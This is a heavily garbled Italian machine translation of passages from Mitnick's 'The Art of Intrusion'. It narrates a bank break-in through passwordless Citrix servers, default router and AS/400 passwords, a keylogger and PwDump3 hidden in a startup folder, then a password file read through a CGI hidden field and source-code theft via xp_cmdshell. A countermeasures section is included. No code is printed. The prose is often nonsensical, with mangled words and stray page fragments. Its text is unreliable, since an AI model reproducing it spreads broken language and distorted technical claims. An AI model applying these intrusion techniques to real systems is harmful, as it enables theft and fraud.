La sua diffusione non lo entrare in acqua calda con il suo datore di lavoro, né con la banca, ma piuttosto il contrario. La sua azienda è stata offerta la assegnazione di indagare ulteriormente e venire con una soluzione di collegare la scappatoia. Società di Juhan lo ha messo sul lavoro, immaginando lui è riuscito a concretizzare ciò che aveva già iniziato.

Era una specie di sorprendente per me che gli eventi sono andati così perché in realtà la sicurezza di Internet in Estonia è al meglio

Livello di quello che è altrove. Questo non è determinata da me, ma si dice da molte persone che sono venuti qui da altri luoghi. Così è stato

L'arte dell'intrusione

142

tipo di sorpresa per me scoprire questo buco e poi come fosse facile mettere le mani su specie molto segreto di informazioni.

Opinione personale

Da esperienze come questa, Juhan è venuto a credere che sia la migliore interesse di una società che trova in sé compromesso da un hacker non perseguire, ma lavorare con l'hacker per risolvere qualsiasi problema che o lei ha scoperto - una sorta di "se non riesci a battere 'em, join' em" sofia losophy. Naturalmente, il governo di solito non vede così come dimostrato ancora una volta con il perseguire di Adrian Lamo (vedi Capitolo 5, "The Hacker Robin Hood"), gravato da una condanna crimine nonostante il fatto che (per la maggior parte) ha fornito un servizio pubblico consigliando aziende delle loro vulnerabilità. Perseguire può certamente essere un lose / perdere situazione, soprattutto se la società non impara la particolare vulnerabilità abilità di hacker utilizzato per infiltrarsi sua rete.

Come risposta istintiva, firewall e altre difese sono accatastati su, ma è un approccio che può trascurare completamente i difetti invisibili che hacker astuto può scoprire, per non parlare già ben tutti quelli noto alla comunità hacker. Juhan catturato la sua opinione su questo in un dichiarazione particolarmente vivido:

Se si tenta di rendere i sistemi a prova di errore, c'è sempre un altro ingannare chi è più inventiva di te.

T

HE

L

ONG

-D

Istance

B

ANK

H

ACK

Gabriel parla francese come la sua lingua madre e vive in una città canadese così piccolo che, anche se lui si definisce un hacker white-hat e considera deturpando un atto di stupidità, riconosce che ha "fatto un volta o due quando annoiato al punto di disperazione ", o quando ha trovato un sito "In cui la sicurezza era così scadente che qualcuno aveva bisogno di una lezione." Ma come fa un ragazzo in Canada rurale vengono a incidere una banca in uno stato in il sud degli Stati Uniti, proprio nel cuore di Dixie? Ha trovato un Web sito che ha mostrato "ciò che l'indirizzo IP gamme (netblocks) sono stati assegnati a particolare le organizzazioni ".

1

Cercò la lista "per parole come governo, banca, o qualsiasi altra cosa, "e sarebbe pop un po 'intervallo di indirizzi IP (per esempio, 69.75.68.1 al 69.75.68.254), che avrebbe quindi eseguire la scansione. Uno degli elementi che ha inciampato su era un indirizzo IP che apparteneva a una determinata banca nel cuore di Dixie. Che ha lanciato Gabriel in quello che sarebbe diventato un trucco intensiva. Capitolo 7 naturalmente il vostro Bank è sicuro - destra?

143

Un Hacker è fatta, non Nato

All'età di 15 anni (che, come avrete notato dai capitoli precedenti, ranghi come un inizio in ritardo, qualcosa di simile a occupare il basket al liceo e in corso in NBA), Gabriel aveva avanzato da giochi come Doom all'hacking con un amico sulla sua macchina 386 con i suoi 128MB duro guidare. Quando la macchina si è rivelata troppo lento per quello che voleva fare, Gabriel ha speso quello che era per lui un gioco di rete fortuna giocare al caffetteria computer locale. Il mondo dei computer era sollievo coinvolgente e dolce dalla dura competitività del liceo, dove Gabriel subito prendere in giro tutti i giorni dalle coetanei, semplicemente perché era diverso. Non ha aiutato che era il nuovo capretto sul blocco e il più giovane nella sua classe, avendo iniziato la sua scuola in un'altra provincia prima che la sua famiglia si trasferì. Nessuno ha mai detto che era facile essendo un geek.

I suoi genitori, che lavorano entrambi per il governo, non riuscivano a capire ossessione del figlio con le macchine, ma poi questo sembra un comune problema per le generazioni sollevate in tempo di notte e giorno tecnologicamente periodi. "Non hanno mai voluto me a comprare un computer", ricorda. Che Cosa che volevano era che "solo uscire e fare qualcosa di diverso." Mamma e Papà erano così preoccupati per il loro ragazzo che lo mandarono a un psicologo Gist per aiutare "normalizzare" lo. Cosa è successo in quelle sessioni, si sicuramente non ha comportato l'adolescente allampanato sta dando la sua passione per computers.

Gabriel ha preso i corsi Cisco in un college commercio locale. Completamente autonomo

ha insegnato, spesso sapeva più che gli insegnanti, che a volte rinviare spiegazioni difficili per lui. L'ormai 21 anni, canadese sembra per avere il tipo di hacker di talento che permette la preparazione di scoperte sul suo proprio. Anche quando è un noto exploit, la capacità segna l'hacker come vivere in un mondo diverso dai "script kiddies", che scoprono nulla per conto proprio, ma piuttosto appena scaricare goodies dal Web.

Un programma ha favorito fu chiamato Spy Lantern Keylogger. Questo è un altro di quei programmi con la possibilità di ombra elettronicamente mentre lavorano, permettendo l'hacker di intercettare segretamente ogni battitura digitato sul computer del bersaglio - solo che questo è supposto completamente invisibile sulla macchina bersaglio.

Inoltre, ha usato anche la caratteristica "ombra" di un'applicazione chiamata Citrix MetaFrame (una suite di accesso enterprise on-demand), che è progettato per consentire agli amministratori di sistema di monitorare e assistere società dipendenti. Con la funzione shadowing, l'amministratore di sistema può guardare di nascosto sopra la spalla di un utente, vedere tutto il suo schermo del computer e ciò che l'utente sta facendo e digitando, e può anche prendere il controllo del computer. Un hacker sapendo che può trovare compagnia

L'arte dell'intrusione

144

esecuzione Citrix può essere in grado di fare lo stesso: prendere il controllo dei computer. Questo ovviamente richiede grande cautela. Se non sta attento, azioni hacker sarà macchiato, dal momento che chiunque seduto al computer vedrà il risultato di le azioni che l'attaccante sta prendendo (il cursore in movimento, le applicazioni apertura, e così via). Ma l'occasione può anche fornire un hacker con la possibilità per un certo divertimento innocente.

Vedo persone che scrivono e-mail per la loro moglie o qualcosa. Puoi effettivamente spostare i loro mouse sullo schermo. Abbastanza divertente.

Una volta ho avuto sul computer di un ragazzo e ha iniziato spostando il suo cursore. Lui aperto un file notepad. Ho digitato "Hey."

Naturalmente, un hacker che vuole prendere il controllo del computer ordinarie di qualcuno narily sceglie un momento in cui nessuno è probabile che sia in giro. "Di solito faccio che dopo la mezzanotte", ha spiegato Gabriel, "per essere sicuro che non ci sia nessuno. O ho solo controllare sullo schermo del computer. Se lo screensaver è in esecuzione, che di solito significa che nessuno è al computer."

Ma una volta che giudicato male e l'utente era a sua macchina. Le parole, "So che stai guardando me!" Balenò schermata di Gabriel. "Mi sono collegato fuori subito. Un'altra volta, sono stati trovati alcuni file che aveva nascosto.

"Li hanno cancellati e mi ha lasciato un messaggio - 'WE perseguirà

VOI NEI LIMITI DELLA LEGGE. '"

La Banca rodaggio

Quando vagare di Gabriel su Internet ha portato i dettagli su Gli indirizzi IP della banca Dixie, ha seguito la pista, scoprendo che esso fu nessuna banca di provincia che aveva inciampato su ma con ampie legami nazionali e internazionali. Ancora più interessante, ha anche scoperto che uno dei server della banca era in esecuzione Citrix MetaFrame, che è il server software che consente all'utente di accedere da remoto il proprio posto di lavoro. La lampadina continuò a causa di qualcosa che Gabriel e un amico aveva realizzato dalle loro esperienze precedenti di hacking.

Questo amico e avevo scoperto che la maggior parte dei sistemi di esecuzione Servizi Citrix non hanno buone password. Li offrono già attivato, ma lasciare l'utente finale senza una password.

Gabriel è andato a lavorare con un port scanner, uno strumento di hacker (o auditing strumento, a seconda della volontà dell'utente) che esegue la scansione in rete altri computer per identificare le porte aperte. Cercava specificatamente per i sistemi con porta 1494 aperta, perché è la porta utilizzata per accedere da remoto al Servizi terminali Citrix. Quindi, qualsiasi sistema con la porta 1494 aperta era un potenziale successo "possedere".

Capitolo 7 naturalmente il vostro Bank è sicuro - destra?

145

Ogni volta ha trovato uno, avrebbe cercare tutti i file sul computer per il Parola *della password*. E 'come il panning per l'oro. Gran parte del tempo, si arriva a mani vuote, ma di tanto in tanto si scopre una pepita. In questo caso, un pepita potrebbe essere un ricordo che qualcuno aveva infilato in un file, forse lettura ing qualcosa come: "la password di amministratore per mail2 è 'happyday.'"

Nel tempo, ha trovato la password per firewall della banca. Cercò con-

collegando a un router, sapendo che alcuni router comuni sono dotati di un password predefinita "admin" o "administrator", e che molti

persone - non solo i proprietari di abitazione incompetenti, ma, troppo spesso, anche di supporto IT professionisti - implementare una nuova unità senza alcun pensiero di cambiare il password di default. E, in effetti, è quello che Gabriel trovato qui - un router con una password di default.

Una volta aveva ottenuto l'accesso, ha aggiunto una regola firewall, permettendo in arrivo connessioni a porta 1723 - La porta utilizzata per Microsoft Virtual Private (VPN) Servizi di rete, progettati per consentire una connettività sicura per la rete aziendale per gli utenti autorizzati. Dopo che aveva autenticare con successo sticata al servizio VPN, il suo computer è stato assegnato un indirizzo IP su rete interna della banca. Fortunatamente per lui, la rete è stata "piatta"

il che significa che tutti i sistemi erano accessibili su un singolo segmento di rete, così che l'hacking in una macchina gli aveva dato accesso ad altri sistemi informatici sulla stessa rete.

L'hack in banca, Gabriel dice, era così facile che era "abbastanza stupida."

La banca aveva portato in un team di consulenti di sicurezza, che ha fornito un segnalare quando hanno lasciato. Gabriel ha scoperto il rapporto confidenziale memorizzata su un server. E 'incluso un elenco di tutte le vulnerabilità di sicurezza che la squadra aveva trovato - fornendo un modello pratico di come sfruttare il resto della rete.

Come server, la banca stava usando un IBM AS / 400, una macchina Gabriel aveva poca esperienza con. Ma ha scoperto che il server di dominio di Windows memorizzato un manuale operativo completo per le applicazioni utilizzate su tale sistema, che ha scaricato. Quando poi digitato "amministratore" - la password predefinita IBM - il sistema lo fece entrare.

Direi che il 99 per cento delle persone che ci lavorano usato "password123" come password. Inoltre non hanno un programma anti-virus esecuzione in background. Corsero forse una volta alla settimana o giù di lì.

Gabriel si sentiva libero di installare Spy Lantern Keylogger, il suo preferito nella categoria principalmente a causa della capacità unica del programma di registrare mazioni mazioni contemporaneamente da qualsiasi numero di persone l'accesso al

Assistente di Citrix. Con questa installazione, Gabriel attese che un amministratore login, e "snarfed" la sua password.

L'arte dell'intrusione

146

Pagina 168

Armati con le password di destra, Gabriel ha colpito il jackpot: un set completo di manuali di formazione online su come utilizzare le applicazioni critiche sul AS / 400. Ha avuto la possibilità di eseguire qualsiasi attività un cassiere potrebbe - fondi di cablaggio, la visualizzazione e la modifica di informazioni sul conto del cliente, guardare l'attività ATM a livello nazionale, controllando prestiti bancari e trasferimenti, Accedendo Equifax per gli assegni di credito, anche rivedendo i file di corte per back controlli a terra. Egli ha anche scoperto che dal sito della banca, avrebbe potuto accedere la banca dati informatica del Dipartimento dello Stato di veicoli a motore.

Avanti ha voluto per ottenere gli hash delle password dal primario controller di dominio (PDC), che autentica le richieste di accesso al dominio. Il suo programma di scelta per fare questo era PwDump3, che estrae tutti gli hash delle password da una parte protetta del regola- sistema stero. Ha ottenuto l'accesso come amministratore locale sulla macchina, poi ha aggiunto un script da eseguire PwDump3 come un collegamento nella cartella di avvio, camuffando come qualcosa innocuo.

Gabriel giaceva in attesa per un amministratore di dominio per accedere a macchina di destinazione. Il programma funziona in modo molto simile una trappola, balzando quando attivato da un evento particolare - in questo caso, un sistema di amministrazione tor login. Quando tale amministratore accede, gli hash delle password sono silenziosamente estratto in un file. L'utilità PwDump3 viene eseguito dalla strazione cartella di avvio di dalità. "A volte ci vogliono giorni [di ammini- dominio stratore per accedere], "dice," ma è valsa la pena aspettare. "

Una volta che l'amministratore del dominio ignaro loggato, ha inconsapevolmente estratto gli hash delle password in un file nascosto. Gabriel restituito luogo del delitto per ottenere gli hash delle password, e si passò una da password programma utilizzando il computer più potente è stato in grado di accedere cracking. In un tale sistema, una password semplice come "password" può richiedere meno di un secondo per rompere. Password di Windows sembrano essere particolarmente facile, mentre una password complessa che utilizza simboli speciali può prendere molto più. "Ho avuto quello che mi ha portato un mese intero a decifrare," Gabriel ricorda mestamente. La password dell'amministratore banca comprendeva solo quattro lettere minuscole. E 'stato rotto più velocemente di quanto si poteva leggere questo paragrafo.

Chiunque sia interessato a un conto bancario in Svizzera?

Alcuni degli elementi Gabriel trovato fatto il resto del bottino sembrare piccolo patate.

Egli ha anche trovato la sua strada in una delle parti più supersensibili di qualsiasi operazione della banca - il processo per la generazione di bonifici. Ha trovato le schermate di menu per l'avvio del processo. Egli ha anche scoperto il reale Capitolo 7 naturalmente il vostro Bank è sicuro - destra?

147

Pagina 169

modulo utilizzato dal gruppo selezionato di dipendenti autorizzati che hanno l'autorità di elaborare le transazioni per il ritiro dei fondi da un dog-

conto di Tomer e l'invio dei fondi elettronicamente a un'altra finanziaria ente che potrebbe essere dall'altra parte del mondo (Svizzera, per esempio).

Ma un modulo vuoto non fa nulla di buono se non si sa come prietà rettamente completarlo. Che, si è scoperto, non era un problema. Nel manuale di istruzioni che aveva in precedenza trova, un capitolo si è rivelato particolarmente interessante. Non aveva bisogno di andare molto lontano nel capitolo per trovare ciò che aveva bisogno.

20.1.2 Invio / Trasferimenti Aggiornamento Wire

Menu: bonifici bancari (FIL)

Opzione: Inserire Trasferimenti / Aggiornamento filo

Questa opzione viene utilizzata per inserire i fili non ripetitivi e selezionare fili ripetitivi da inserire e inviati. Fili non ripetitivi sono per clienti che inviano solo un filo occasionalmente o per noncustomers che vogliono avviare un filo. Attraverso questa opzione, fili in arrivo può anche essere mantenuto dopo che sono stati caricati. Quando questa opzione è selezionato verrà visualizzata la seguente schermata.

Bonifici

Bonifici 11:35:08

Uscente

Opzioni Tipo, premere Invio.

2 = modifica 4 = Elimina 5 = posizione di visualizzazione a ...

Optare Dal account Per beneficiario Importo

F3 = Exit F6 = Aggiungi F9 = F12 Incoming = Precedente

Quando questa opzione è inizialmente presa non ci sarà alcun cavo elencati.

Per aggiungere, premere *F6 = Aggiungi* e verrà visualizzata la seguente schermata.

Un intero capitolo precisato step-by-step le procedure esatte per l'invio di un filo da quel particolare banca, il trasferimento di fondi per alcune per-conto del figlio in un altro istituto finanziario. Gabriel ora sapeva Tut-cosa di cui aveva bisogno per l'invio di un bonifico bancario. Aveva le chiavi del castello.

Conseguenze

Nonostante tale accesso diffuso a sistema della banca e un enorme quantità di energia non autorizzato a sua disposizione, Gabriel al suo attivo mantenuto la mano della cassa. Non aveva alcun interesse a rubare fondi o sabotaging qualsiasi delle informazioni della banca, anche se ha giocato in giro con il idea di migliorare i rating per un paio di amici. Come uno studente

L'arte dell'intrusione

148

iscritti in un programma di sicurezza in un college locale, Gabriel valutato naturalmente le carenze nelle misure di protezione della banca.

Ho trovato un sacco di documenti sul proprio server per la sicurezza fisica, ma niente di tutto ciò era legato agli hacker. Ho trovato qualcosa su i consulenti per la sicurezza assumono ogni anno per verificare sui server, ma questo non è sufficiente per una banca. Stanno facendo un buon lavoro su fisi-sicurezza iCal, ma non abbastanza per la sicurezza informatica.

Io

Nsight

Il sito della banca in Estonia è stato un bersaglio facile. Juhan notato il difetto quando ha visto il codice sorgente delle pagine Web della banca. Il codice utilizzato un scosta

elemento forma den che conteneva il nome del file di un modello di modulo, che è stato caricato dallo script CGI e visualizzati agli utenti nel loro browser Web. Ha cambiato la variabile nascosta per puntare al file delle password del server, e, voilà, il file delle password è stato visualizzato nel proprio browser. Sorprendentemente, il file non è stato oscurato, così ha avuto accesso a tutte le password criptate, che ha poi rotto.

L'hack banca Dixie fornisce un altro esempio della necessità di *difesa in profondità*. In questo caso, la rete della banca sembrava essere piatta; cioè, senza protezione significativa al di là del singolo server Citrix. Una volta ogni sistema sulla rete è stata compromessa, l'utente malintenzionato potrebbe connettersi a ogni altro sistema sulla rete. Un modello di difesa in profondità potrebbe avere Gabriel impedito di accedere al AS / 400.

Personale di sicurezza le informazioni della banca è stato cullato in un falso senso di rezza rezza nell'aver un audit esterno effettuato, che può avere irragionevolmente innalzato il livello di fiducia nel loro approccio globale alla sicurezza. Mentre performando una valutazione di sicurezza o di controllo è un passo importante per misurare la vostra resistenza contro un attacco, un processo ancora più cruciale è propriamente gestione della rete e tutti i sistemi che sono su di esso.

C

COUNTERMEASURES

Il sito banca online avrebbe dovuto esigere che tutte le applicazioni Web sviluppo ops aderiscono a pratiche di programmazione sicura fondamentali, o richiedono revisione di qualsiasi codice messo in produzione. La pratica migliore è quella di limitare il quantità di input dell'utente che viene passato a uno script lato server. Utilizzando hardware nomi di file e costanti codificati, mentre non eloquente, alza il livello di garanzia della sicurezza dell'applicazione.

Monitoraggio della rete Lax e sicurezza poveri password sul esposto

Assistente di Citrix sono stati i più grandi errori in questo caso, e sarebbe probabilmente

Capitolo 7 naturalmente il vostro Bank è sicuro - destra?

149

impedito Gabriel dal roaming attraverso la loro rete, l'installazione di tastiera logger ictus, shadowing altri utenti autorizzati, e le piantine di Troia programmi. L'hacker ha scritto un piccolo script e metterlo in amministrazione cartella di startup di tor così quando connesso, avrebbe eseguito il pwdump3 programma in silenzio. Certo, aveva già i diritti di amministratore. L'hacker è stato in agguato per un amministratore di dominio per accedere in modo da poter dirottare il suo privilegi ed estrarre automaticamente gli hash delle password dal primario controller di dominio. Lo script nascosto è spesso chiamato un *Trojan* o un *botola*.

Un elenco parziale di contromisure dovrebbe includere i seguenti:

- Controllare tutti i conti per la password impostata l'ultima volta il sistema Ser-gelati conti come 'TsInternetUser' non assegnato al personale, diritti di amministratore non autorizzate, diritti di gruppo non autorizzate, e ora dell'ultimo accesso. Questi controlli periodici possono portare a individuare un incidente di sicurezza. Cercare le password che erano stati fissati durante le ore strane, dal momento che l'hacker non può rendersi conto che lui o lei è in partenza un processo di audit cambiando le password degli account.
- Limitare login interattivi per le ore di lavoro.
- Abilitare login e il logout auditing su tutti i sistemi che sono esternalità finalmente accessibili via wireless, dial-up, Internet, o extranet.

- Distribuzione di software come SpyCop (disponibile a www.spycop.com) per rilevare keystroke logger non autorizzate.
- Essere vigili a installare gli aggiornamenti di sicurezza. In alcuni ambienti, può essere opportuno scaricare gli ultimi aggiornamenti automaticamente. Microsoft incoraggia attivamente i clienti a configurare i loro sistemi informatici per fare questo.
- Verificare sistemi accessibili esternamente per telecomando software come WinVNC, TightVNC, Damware, e così via. Questi programmi software, mentre hanno usi legittimi, può consentire a un utente malintenzionato di monitorare e sessioni di controllo registrati alla console di sistema.
- controllare attentamente eventuali accessi utilizzando Windows Terminal Services o Citrix MetaFrame. La maggior parte degli aggressori hanno scelto di utilizzare questi Servizi in preferenza per controllare a distanza i programmi, per ridurre la possibilità di essere rilevata.

T

HE

B

OTTOM

L

INE

Gli hack di questo capitolo sono stati banali. sulla base sfruttando la la sicurezza delle imprese poveri password e script CGI vulnerabili. Mentre molte persone - anche persone competenti per la sicurezza informatica -
L'arte dell'intrusione

150

Pagina 172

tendono a pensare a degli hacker irruzioni come qualcosa di più simile a un "Oceans Eleven" attacco strategico, la triste verità è che la maggior parte di questi attacchi non sono geniale o intelligente. Sono invece successo perché una grande porzione delle reti aziendali non sono adeguatamente protetti.

Inoltre, i responsabili per lo sviluppo e l'immissione di questi sistemi in produzione stanno facendo errori di configurazione semplici e programmazione sviste che creano un'opportunità per le migliaia di hacker bang-zione sulla porta ogni giorno.

Se le due istituzioni finanziarie descritte in questo capitolo danno alcuna indicazione cazione di come la maggior parte delle banche del mondo sono attualmente protegge i client informazioni e capitali, quindi possiamo tutti decidere di tornare a nascondersi nostro denaro in una scatola da scarpe sotto il letto.

N

OTES

1. Anche se non ha specificato il luogo, queste informazioni sono disponibili presso www.flumps.org/ip/.

Capitolo 7 naturalmente il vostro Bank è sicuro - destra?

151

Pagina 173

Pagina 174

Se una cosa non ha funzionato, mi piacerebbe solo provare qualcosa di diverso, perché sapevo che era qualcosa che avrebbe funzionato. C'è sempre qualcosa che funziona. È solo una questione di scoprire cosa.

- Erik

W

cappello è il bene più prezioso in qualsiasi organizzazione? Non è la hardware, non è gli uffici o in fabbrica, non è

anche quello che è stato rivendicato in una volta-popolare cliché aziendale

Detto questo, "Il nostro bene più prezioso è la nostra gente."

Il fatto evidente è che nessuno di questi può essere sostituito. Va bene, non così facilmente, non senza una lotta, ma un sacco di aziende sono sopravvissuti dopo la loro impianto bruciato o un gruppo di dipendenti chiave usciva dalla porta.

Sopravvivere alla perdita di proprietà intellettuale, però, è un'altra storia Alto-sieme. Se qualcuno ruba i vostri progetti di prodotti, l'elenco dei clienti, il vostro piani di nuovi prodotti, i dati di R & D - che sarebbe un colpo che potrebbe inviare la vostra azienda trattura.

Cosa c'è di più, se qualcuno ruba un migliaio di prodotti dal tuo Tavola-casa, o una tonnellata di titanio, dal vostro impianto di produzione, o cento computer dai vostri uffici, saprete subito. Se qualcuno

rubare elettronica della proprietà intellettuale, quello che stanno rubando un copia e saprai mai è andato fino a molto tempo dopo (se mai), quando il danno è fatto e si sta soffrendo le conseguenze.

Quindi, si può venire notizia angosciante che le persone con abilità di hacking sono rubare la proprietà intellettuale ogni giorno - e spesso da aziende che

sono probabilmente non meno attenta alla sicurezza che il proprio, come suggerito da i due esempi di questo capitolo.

I due ragazzi la seguente coppia di storie appartengono ad una razza speciale indicato come *cracker*, un termine per gli hacker che software "crack" di reverse-engineering applicazioni commerciali o rubare il codice sorgente a questi programmi applicativi, o codici di licenza, in modo da poter utilizzare il software gratuitamente e infine distribuire attraverso un labirinto di comprensione terra di cracking siti. (Questo uso non deve essere confuso con "cracker", come un programma per il cracking di password.)

In genere, ci sono tre motivazioni per un cracker di andare dopo un prodotto lare:

- Per ottenere un software che lui o lei ha un interesse speciale in e vuole approfondire.
- Per affrontare una sfida e vedere se lui o lei può superare in astuzia un degno avversario (di solito lo sviluppatore), proprio come qualcuno altro cerca di superare in astuzia gli avversari a scacchi, bridge, o il poker.
- Per pubblicare il software in modo che sia a disposizione di altri in un segreto mondo online che si occupa di rendere il software di valore a disposizione gratuito. I cracker non sono solo dopo che il software stesso, ma anche il codice utilizzato per generare la chiave di licenza.

Entrambi i personaggi di queste storie sono compromettendo software bersaglio Man-

fab- per rubare il codice sorgente in modo che possano rilasciare una patch o generazione chiave tor ("keygen"), il codice molto proprietario utilizzato per generare cliente chiavi di licenza, a gruppi di cracking in modo che possano in sostanza utilizzare il software gratuitamente. Ci sono molte persone con abilità di hacker che stanno facendo la stessa cosa, e queste aziende di software non hanno idea di quanto sia difficile sono di essere colpiti.

Crackers dimorano in un mondo ben nascosto buio dove la moneta del regno è stato rubato software - il furto di proprietà intellettuale su una scala è probabile trovare sbalorditivo e spaventoso. L'affascinante ultimo atto della storia è dettagliato vicino alla fine del capitolo, nella sezione "Sharing: A Cracker di Mondiale. "

**T
HE
T
WO
-Y
EAR
H
ACK**

Erik è un consulente di sicurezza di 30 qualcosa che si lamenta che "Quando ho segnalare una vulnerabilità, sento spesso, 'Non è niente. Qual è il problema? "

Cosa che fara "'La sua storia dimostra una verità tanto ignorati?:"

E non sono solo i grandi errori che ti ucciderà.

L'arte dell'intrusione

154

Alcuni dei seguenti può sembrare, per quelli con limitato tecnico la conoscenza degli approcci usati dagli hacker, come piuttosto pesante slogging. Che cosa è affascinante la cronaca, però, è il modo in cui rivela la persistenza di molti hacker. Gli eventi correlati qui, che ha avuto luogo poco tempo fa, rivelano Erik essere, come tanti altri in queste pagine, durante zione il giorno un hacker etico stava aiutando le aziende a proteggere i loro formazioni mazioni attività ma è stato attirato in l'emozione di hacking in ignari obiettivi di notte.

Erik appartiene a quella razza speciale di hacker che messo gli occhi su irruzione in un posto e rispettare il compito fino a quando non riescono ... *anche se richiede mesi o anni.*

A Quest Avvia

Alcuni anni fa, Erik e alcuni amici di hacker a lunga distanza erano stati la raccolta di diversi tipi di software server e aveva raggiunto il punto dove "proprietà del codice sorgente" di tutti i prodotti principali nella categoria. . . con una sola eccezione. "Questo è stato l'ultimo non ho ho, "spiega," e io non so perché, era solo interessante per me di entrare in quello. "Capisco l'atteggiamento perfettamente. Erik era in trofeo di caccia, e il più prezioso bene, il più grande è il trofeo.

Quest'ultimo per fare Erik sentire completo si è rivelato essere più di una sfida di quanto avesse previsto. "Ci sono alcuni siti che voglio irrompono, ma sono davvero difficile per qualche ragione ", spiega simply. Posso riferire a questo atteggiamento, pure.

Ha iniziato in un modo familiare, con "una scansione delle porte del server Web che è

probabilmente il primo luogo guardo quando cerco di entrare nel server Web. Di solito c'è una maggiore esposizione lì. Ma non ho trovato niente di buono off. "E' comune a sondare un obiettivo leggermente quando si comincia con una attacco per evitare la generazione di allarmi o di essere notato da un amministratore a causa delle voci nei registri - soprattutto in questi giorni, dal momento che molti COMPANIES eseguono sistemi di rilevamento delle intrusioni per rilevare scansioni delle porte e altri tipi di sonde comunemente utilizzati dagli aggressori.

Per Erik, "ci sono alcune porte cercherò che conosco stanno per essere obiettivi interessanti. "snocciola una lista di numeri per le porte utilizzate per il server Web, servizi di terminale, server Microsoft SQL, Microsoft Virtual Private Network (VPN), NetBIOS, server di posta (SMTP), e altri.

Su un server Windows, la porta 1723 (di cui al capitolo 7, "Of Corso vostra banca è sicuro - Right ") viene di solito utilizzata per un protocollo? noto come point-to-point tunnel, che è l'implementazione Microsoft delle comunicazioni VPN e utilizza l'autenticazione basata su Windows. Erik Capitolo 8 vostra proprietà intellettuale non è sicuro

155

ha scoperto che sondando la porta 1723 "mi dà un'idea di che tipo di ruolo il server suona "e, così," a volte si può intuire o forza brutta le password. "

Egli non ha nemmeno la briga cercando di nascondere la sua identità in questa fase perché "Ci sono tante scansioni delle porte [società] avrà ogni giorno che nessuno anche se ne frega. Una scansione delle porte di centomila in un giorno, non è così significare qualsiasi cosa. "

(Valutazione di Erik il basso rischio di essere scoperti e, eventualmente, identificato si basa sulla sua ipotesi rischiosa che le sue scansioni delle porte saranno sepolti in il "rumore" di Internet. È vero, la società bersaglio rete strazione istrators possono essere troppo oberati di lavoro o pigri per esaminare i registri, ma non c'è sempre la possibilità che sarà lui a correre in un tipo di zelo e ottenere sballato. Si tratta di una possibilità hacker più prudenti non sono disposti a prendere.)

Nonostante il rischio, in questo caso, le scansioni delle porte non sono andate a nulla uso-Ful. Poi, usando un pezzo su misura del software che ha funzionato molto simile un Common Gateway Interface (CGI) scanner, ha trovato un file di log generato dal "Server WS_FTP", che contiene, tra l'altro, un elenco i nomi dei file che sono stati caricati sul server. È simile a qualsiasi altra FTP (File Transfer Protocol) di log, Erik dice, "salvo che il registro era memorizzate in ogni directory che i file sono stati caricati, "in modo che quando si vede un file elencato nel registro che sembra interessante, è proprio lì - non lo fai andare a caccia di esso.

Erik ha analizzato il registro FTP e ha trovato i nomi dei file che erano stati recentemente caricati sul "include /" directory, una directory usata normalmente per memorizzare ".inc" i tipi di file - funzioni di programmazione comuni che sono da altri principali moduli di codice sorgente. Sotto Windows 2000, questi file non sono per default protetto. Dopo aver esaminato l'elenco dei nomi di file in log, Erik ha usato il suo browser Internet per visualizzare il codice sorgente di particolare i nomi dei file che pensava potrebbero contenere informazioni preziose. In particolare, egli guardato i file che potrebbero essere inclusi le password per un back-end server di database. E alla fine ha pagato profumatamente.

"A quel punto," Erik ha detto, "Ho fatto probabilmente dieci colpi per il Web Server - si sa, ancora niente di grave nei registri "Anche se il suo display cupero delle password del database è stato emozionante, ha rapidamente scoperto che non c'era nessun server database su quella scatola.

Ma da lì, le cose sono andate "interessante."

Non ho trovato nulla su quel server Web, ma ho avuto un [software] strumento che ho fatto che indovina i nomi host in base a un elenco di gestione comune nomi - di gateway come, di backup, di prova, e così via, più il dominio nome. Si passa attraverso un elenco di nomi di host comuni per identificare qualsiasi ospiterà nomi che possono esistere nel dominio.

L'arte dell'intrusione

156

Le persone sono abbastanza prevedibili in [scelta hostname], quindi è abbastanza semplice per trovare i server.

Trovare i server è stato abbastanza facile, ma ancora non gli ha portato un punto qualsiasi dove. Poi lo ha colpito: la società non era negli Stati Uniti. Così

"Ho usato l'estensione di quel paese, e l'ho provato con un sacco di padroni di casa che avevo trovato con il mio strumento di scansione nome host. "Per esempio, per un

Società giapponese sarebbe

hostname.companynome.com.jp

Che lo ha portato alla scoperta di un server Web e di posta di backup. Si accede esso con le password che aveva trovato nelle (.inc) file "include" di origine. Lui era in grado di eseguire comandi attraverso una procedura standard di sistema (Xp_cmdshell) che gli ha permesso di eseguire comandi di shell sotto qualsiasi utente del server SQL è stato eseguito - in genere con un account privilegiato.

Triumph! Questo gli ha dato accesso completo sistema per il server Web / mail.

Erik immediatamente proceduto a scavare nelle directory in cerca di

backup del codice sorgente e altre prelibatezze. Il suo obiettivo principale era quello di ottenere il keygen - come detto, il codice molto proprietaria utilizzata per generare chiavi di licenza del cliente. Il primo ordine del giorno è stato gathering quante più informazioni sul sistema e agli utenti possibile. In

Infatti, Erik utilizzato un foglio di calcolo Excel per registrare tutte le informazioni interessanti ha trovato, come password, indirizzi IP, nomi di host, e quali servizi erano accessibili attraverso porte aperte, e così via.

Egli ha anche sondato parti nascoste del sistema operativo che il dilettante attaccante generalmente si affaccia, come autorità di protezione locale (LSA) segreti, che memorizza le password di servizio, gli hash delle password memorizzate nella cache del ultimi agli utenti di accedere alla macchina, servizi di accesso remoto (RAS) dial i nomi di account e le password, le password utilizzate per workstation dominio di accesso, e altro ancora. Ha visto anche la zona Protected Storage dove Internet Explorer e Outlook Express password negozio.

1

Il passo successivo è stato quello di estrarre gli hash delle password e li crepa a recuperare le password. Poiché il server era un con- dominio di backup troller, mail server, e server secondario Domain Name Service (DNS), fu in grado di accedere a tutti i record di risorse DNS (tra cui, tra gli le altre cose, i nomi degli host e gli indirizzi IP corrispondenti) aprendo il Pannello di gestione DNS, che conteneva l'intero elenco di domini e

hostname utilizzati dalla società.

Ora ho avuto un elenco di tutti i loro ospiti e ho raccolto le password qua e là, saltellando da sistema a sistema.

Capitolo 8 vostra proprietà intellettuale non è sicuro

157

Questa "pozzanghera salto" è stato possibile a causa del suo precedente successo in di cracking delle password sul server Web di backup, dopo sfruttando il Microsoft SQL Password aveva ottenuto.

